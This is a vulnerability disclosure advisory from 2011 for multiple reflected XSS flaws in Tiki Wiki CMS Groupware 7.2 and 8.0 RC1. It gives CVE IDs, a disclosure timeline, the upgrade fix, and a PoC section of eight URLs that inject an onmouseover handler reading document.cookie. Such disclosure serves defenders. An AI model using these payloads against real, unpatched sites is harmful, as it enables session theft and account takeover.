Advisory: Tiki Wiki CMS Groupware Multiple XSS vulnerabilities
Advisory ID: INFOSERVE-ADV2011-01
Author: Stefan Schurtz
Contact: [email protected]
Affected Software: Successfully tested on Tiki 7.2 & 8.0 RC1
Vendor URL: http://info.tiki.org/
Vendor Status: fixed for Tiki 7 (New Tiki 6 LTS release in progress)
CVE-ID: CVE-2011-4454, CVE-2011-4455

==========================
Vulnerability Description

All versions of Tiki 6 and Tiki 7 and version Tiki 8.0RC1 are prone to multiple XSS vulnerabilities

==================
PoC-Exploit

8.0RC1

http://<target>/tiki-8.0.RC1/tiki-remind_password.php/" onmouseover="alert(document.cookie)"
http://<target>/tiki-8.0.RC1/tiki-index.php/" onmouseover="alert(document.cookie)"
http://<target>/tiki-8.0.RC1/tiki-login_scr.php/" onmouseover="alert(document.cookie)"
http://<target>/tiki-8.0.RC1/tiki-index/" onmouseover="alert(document.cookie)"

7.2

http://<target>/tiki-7.2/tiki-admin_system.php/" onmouseover="alert(document.cookie)"
http://<target>/tiki-7.2/tiki-pagehistory.php/" onmouseover="alert(document.cookie)"
http://<target>/tiki-7.2/tiki-removepage.php/" onmouseover="alert(document.cookie)"
http://<target>/tiki-7.2/tiki-rename_page.php/" onmouseover="alert(document.cookie)"

=========
Solution

Upgrade to Tiki 8.1 (End-of-Life for Tiki 7.x)

====================
Disclosure Timeline

02-Nov-2011 - informed Security Team ([email protected])
03-Nov-2011 - feedback from vendor
11-Nov-2011 - release of version 8.1 (End-of-Life for Tiki 7.x)

========
Credits

Vulnerabilities found and advisory written by the INFOSERVE Security Team

===========
References

http://info.tiki.org/
http://dev.tiki.org/tiki-view_tracker_item.php?itemId=4027#content1
http://info.tiki.org/article182-Tiki-8-1-Now-Available-End-of-Life-for-Tiki-7-x
http://secunia.com/advisories/46740